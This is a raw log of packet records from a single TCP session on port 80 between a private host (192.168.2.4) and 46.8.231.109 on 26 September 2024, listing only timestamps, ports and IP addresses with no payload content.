Sep 26, 2024 19:05:16.147820950 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.147839069 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.147902966 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.147917032 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.147998095 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.148583889 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.148658991 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.148664951 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.148710012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.148750067 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.148808002 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.149612904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.149677038 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.149683952 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.149756908 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.149759054 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.149808884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.149818897 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.149876118 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.150456905 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.150538921 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.150583029 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.150583029 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.150604010 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.150667906 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.150669098 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.150760889 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.151446104 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.151508093 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.152493954 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.152573109 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.153095961 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.153162003 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.153227091 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.153227091 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.153243065 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.153306961 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.153378010 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.153378010 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.154191971 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.154212952 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.154238939 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.154297113 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.154297113 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.155088902 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.155128956 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.155143023 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.155144930 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.155181885 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.155193090 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.155996084 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.156039953 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.156063080 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.156078100 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.156086922 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.156100988 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.156141043 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.156141043 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.157001019 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.157057047 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.157073021 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.157080889 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.157109022 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.157126904 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.157128096 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.157180071 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.157897949 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.157932997 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.157962084 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.157979012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.157984972 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.158004045 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.158018112 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.158057928 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.158057928 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.158833027 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.158859968 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.158888102 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.158907890 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.158922911 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.158922911 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.158997059 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.159775019 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.159848928 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.159856081 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.159919024 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.159938097 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.159986973 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.160020113 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.160033941 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.160948992 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.160975933 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.160990000 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.161019087 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.161029100 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.161029100 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.161043882 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.161076069 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.161076069 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.161113977 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.161691904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.161719084 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.161753893 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.161772013 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.163089991 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.163110018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.163157940 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.163204908 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.163481951 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.163503885 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.163542986 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.163558006 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.163558006 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.163615942 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.165024996 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.165074110 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.165091991 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.165184021 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.165184975 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.165249109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.165257931 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.165373087 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.166455984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.166511059 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.166512012 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.166575909 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.166665077 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.166702032 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.166729927 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.166744947 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.166783094 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.166793108 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.166793108 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.166939020 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.167813063 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.168005943 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.168073893 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.168098927 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.168114901 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.168148994 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.168906927 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.168931007 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.168943882 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.168943882 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.168956995 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.168973923 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.168986082 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.168999910 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.170011997 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.170037985 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.170062065 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.170088053 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.170088053 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.170089960 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.170105934 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.170137882 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.170804977 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.170845032 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.170869112 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.170883894 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.170883894 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.170908928 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.171618938 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.171643019 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.171659946 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.171689987 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.171713114 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.173743963 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.173826933 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.173844099 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.173883915 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.173909903 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.173935890 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.173970938 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.173970938 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.174446106 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.174468040 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.174488068 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.174514055 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.174544096 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.175923109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.175995111 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.176035881 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.176052094 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.176052094 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.176105976 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.178282976 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.178306103 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.178332090 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.178356886 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.178361893 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.178363085 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.178390026 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.178415060 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.179306984 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.179343939 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.179364920 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.179397106 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.179408073 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.179464102 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.180880070 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.180953026 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.180977106 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.181025982 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.181035042 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.181101084 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.183511972 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.183562040 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.183588982 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.183600903 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.183612108 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.183655977 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.183710098 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.183710098 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.184182882 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.184264898 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.184272051 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.184318066 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.184330940 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.184401035 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.186080933 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.186110973 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.186136007 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.186152935 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.186152935 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.186199903 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.187155008 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.187218904 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.187227011 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.187279940 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.187282085 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.187355995 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.187407017 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.187407017 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.188713074 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.188781977 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.188829899 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.188862085 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.188864946 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.188929081 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.191273928 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.191329002 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.191337109 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.191404104 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.191483974 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.191591024 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.191860914 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.191914082 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.191925049 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.192008972 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.192012072 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.192080021 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.192090034 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.192183018 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.193722963 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.193787098 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.193789005 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.193851948 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.193895102 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.193895102 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.194283962 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.194338083 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.194348097 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.194428921 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.194458008 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.194494009 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.195674896 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.195739985 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.195770025 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.195822001 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.195851088 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.195887089 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.195897102 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.195996046 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.196147919 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.196207047 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.196211100 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.196274042 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.196279049 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.196351051 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.197539091 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.197603941 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.197609901 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.197688103 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.197693110 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.197788000 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.197961092 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.198050976 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.198065042 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.198113918 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.198143959 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.198178053 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.198194981 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.198273897 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.199064970 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.199130058 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.199157953 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.199209929 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.199232101 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.199322939 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.199502945 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.199554920 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.199583054 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.199611902 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.199614048 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.199713945 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.200525999 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.200589895 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.200603008 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.200651884 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.200676918 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.200685978 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.200721025 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.200748920 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.200809002 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.200867891 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.200891018 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.200973988 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.200975895 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.201040983 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.201042891 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.201101065 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.201486111 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.201558113 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.201562881 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.201611996 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.201639891 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.201690912 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.201692104 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.201757908 CEST	80	49735	46.8.231.109	192.168.2.4
Sep 26, 2024 19:05:16.201792002 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.201801062 CEST	49735	80	192.168.2.4	46.8.231.109
Sep 26, 2024 19:05:16.202105999 CEST	80	49735	46.8.231.109	192.168.2.4
